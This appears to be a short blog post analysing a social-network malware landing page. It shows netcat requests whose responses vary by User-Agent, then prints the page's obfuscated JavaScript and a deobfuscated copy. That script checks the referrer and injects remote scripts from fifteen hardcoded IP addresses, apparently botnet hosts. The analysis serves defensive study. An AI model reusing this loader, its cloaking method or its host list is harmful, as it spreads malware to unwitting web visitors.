pcnxnkcaiztp cvnxmxxrgscdvkr <script src="9j72fkj-de1w.js"></script> qgdtubgfdho adbdzoam
C:\>nc s217307881.mialojamiento.es 80 GET /y0urc1ip/ HTTP/1.1 Host: s217307881.mialojamiento.es HTTP/1.1 200 OK Date: Thu, 24 Sep 2009 18:40:56 GMT Server: Apache X-Powered-By: PHP/5.2.11 Transfer-Encoding: chunked Content-Type: text/html 6e <title>Amazing Video</title> ucctsfnqmvyh ldaumylhrlljfb <img src=j18sda5ncm8.jpg> exlyansstgifbh wsrwmduxllj 0
C:\>nc s217307881.mialojamiento.es 80 GET /y0urc1ip/ HTTP/1.1 Host: s217307881.mialojamiento.es User-Agent: The Old Laundry Basket HTTP/1.1 200 OK Date: Thu, 24 Sep 2009 18:49:57 GMT Server: Apache X-Powered-By: PHP/5.2.11 Transfer-Encoding: chunked Content-Type: text/html 6a <title>Amazing Video</title> ozgauyjgghjy aabkqxigumthaux <img src=j18sda5ncm8.jpg> jorivrc bjajszitzkdqh 0
C:\Documents and Settings\Student>nc s217307881.mialojamiento.es 80 GET /y0urc1ip/ HTTP/1.1 Host: s217307881.mialojamiento.es User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; .NET CLR 3.0.30729; InfoPath.3; .NET CLR 4.0.20506) HTTP/1.1 200 OK Date: Thu, 24 Sep 2009 18:58:35 GMT Server: Apache X-Powered-By: PHP/5.2.11 Transfer-Encoding: chunked Content-Type: text/html 5c upthmidfi ajglroelpsymijw <script src="9j72fkj-de1w.js"></script> ailsoghinur aaqajwmblrnbj 0
// KROTEG
var pwdfqiyjsclgezbrt9 = [
['facebook.com', 'fb2'],
['tagged.com', 'tg'],
['friendster.com','fr'],
['myspace.com', 'ms'],
['msplinks.com', 'ms'],
['lnk.ms', 'ms'],
['myyearbook.com','yb'],
['fubar.com', 'fu'],
['twitter.com', 'tw'],
['hi5.com', 'hi5'],
['bebo.com', 'be']
];
var fomqnzlcd1 = [
'113.254.53.10',
'90.26.229.142',
'190.172.254.232',
'221.127.37.107',
'59.93.80.251',
'212.27.24.141',
'95.180.84.107',
'80.230.36.229',
'210.6.20.103',
'79.182.37.95',
'219.90.107.78',
'196.217.220.29',
'92.251.109.111',
'96.32.66.105',
'116.197.110.171'];
var sxhidbqvre1 = '', xbujdriqngovtsz3 = '', psgyket3 = '', svzlnruwojfhi7 = '';
var zkglq4 = '' + eval('doc'+sxhidbqvre1+'ume'+xbujdriqngovtsz3+'nt.r'+psgyket3+'efer'+svzlnruwojfhi7+'rer'), ygepvbrakftloqmhwc6 = '';
for (var nilhfdopsrx7 = 0; nilhfdopsrx7 < pwdfqiyjsclgezbrt9.length; nilhfdopsrx7 ++) {
if ((zkglq4.indexOf(pwdfqiyjsclgezbrt9[nilhfdopsrx7][0]) != -1)) {
ygepvbrakftloqmhwc6 = '/f=' + pwdfqiyjsclgezbrt9[nilhfdopsrx7][1];
break;
}
}
window.redirect = '';
function urocwfkgdsjq6() {
var higeruoxzcnqsbad9 = '' + window.redirect;
if (higeruoxzcnqsbad9.length > 0) window.location.href = higeruoxzcnqsbad9;
else setTimeout('urocwfkgdsjq6()', 50);
}
urocwfkgdsjq6();
var js = '/view';
var n = location.href.indexOf('?id=');
if (n != -1) {
n = parseInt(location.href.substr(n + 4));
if (n < 101) js = '/cnet';
else if (n < 201) js = '/warn';
else if (n < 301) js = '/scan';
else if (n < 401) js = '';
}
for (var nilhfdopsrx7 = 0; nilhfdopsrx7 < fomqnzlcd1.length; nilhfdopsrx7 ++) {
var onjrmgcaifxsqtzb9 = document.createElement('script');
onjrmgcaifxsqtzb9.type = 'text/javascript';
onjrmgcaifxsqtzb9.src = 'http://' + fomqnzlcd1[nilhfdopsrx7] + '/go' + '.js' + '?0x3' + 'E8' + ygepvbrakftloqmhwc6 + js + '/' + (location.search.length > 0 ? location.search : '');
document.getElementsByTagName('head')[0].appendChild(onjrmgcaifxsqtzb9);
}
// KROTEG
var referrers = [
['facebook.com', 'fb2'],
['tagged.com', 'tg'],
['friendster.com','fr'],
['myspace.com', 'ms'],
['msplinks.com', 'ms'],
['lnk.ms', 'ms'],
['myyearbook.com','yb'],
['fubar.com', 'fu'],
['twitter.com', 'tw'],
['hi5.com', 'hi5'],
['bebo.com', 'be']
];
var ipAddresses = [
'113.254.53.10',
'90.26.229.142',
'190.172.254.232',
'221.127.37.107',
'59.93.80.251',
'212.27.24.141',
'95.180.84.107',
'80.230.36.229',
'210.6.20.103',
'79.182.37.95',
'219.90.107.78',
'196.217.220.29',
'92.251.109.111',
'96.32.66.105',
'116.197.110.171'];
var docReferrer = '' + eval('document.referrer'), newPath = '';
for (var i = 0; i < referrers.length; i ++) {
if ((docReferrer.indexOf(referrers[i][0]) != -1)) {
newPath = '/f=' + referrers[i][1];
break;
}
}
window.redirect = '';
function WaitForRedirect() {
var currRedirect = '' + window.redirect;
if (currRedirect.length > 0) window.location.href = currRedirect;
else setTimeout('WaitForRedirect()', 50);
}
WaitForRedirect();
var js = '/view';
var n = location.href.indexOf('?id=');
if (n != -1) {
n = parseInt(location.href.substr(n + 4));
if (n < 101) js = '/cnet';
else if (n < 201) js = '/warn';
else if (n < 301) js = '/scan';
else if (n < 401) js = '';
}
for (var i = 0; i < ipAddresses.length; i ++) {
var scriptTag = document.createElement('script');
scriptTag.type = 'text/javascript';
scriptTag.src = 'http://' + ipAddresses[i] + '/go.js' + '?0x3' + 'E8' + newPath + js + '/' + (location.search.length > 0 ? location.search : '');
document.getElementsByTagName('head')[0].appendChild(scriptTag);
}
I must say though, I found the javascript obfuscation to be quite simple to undo, which I did not expect coming from something that receives so much press.
I don't have time now to explain what the js file does, but will go through that in another post.
No comments:
Post a Comment